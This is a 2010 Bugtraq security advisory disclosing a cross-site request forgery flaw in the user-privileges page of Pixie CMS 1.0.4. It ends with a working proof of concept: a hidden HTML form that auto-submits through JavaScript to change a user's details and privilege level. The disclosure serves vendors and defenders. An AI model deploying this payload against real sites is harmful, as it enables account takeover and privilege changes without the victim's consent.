bugtraq - XSRF (CSRF) in Pixie

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Message-Id: <201007151422.o6FEMcqF067273@htbridge.ch>
Date: Thu, 15 Jul 2010 16:22:38 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSRF (CSRF) in Pixie

Vulnerability ID: HTB22471
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pixie_1.html
Product: Pixie
Vendor: Toggle Labs Ltd ( http://www.getpixie.co.uk/ ) 
Vulnerable Version: 1.0.4 and Probably Prior Versions
Vendor Notification: 01 July 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the user privilieges script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&amp;x=users" method="post" name="main" >
<input type="hidden" name="uname" value="test"  />
<input type="hidden" name="realname" value="test name2" />
<input type="hidden" name="email" value="myemail@...maildomain.com" />
<input type="submit" name="user_edit" id="sbmtit" value="Update" />
<input type="hidden" name="privilege" value="2" />
<input type="hidden" name="user_id" value="2" />

</form>
<script>
document.getElementById('sbmtit').click();
</script>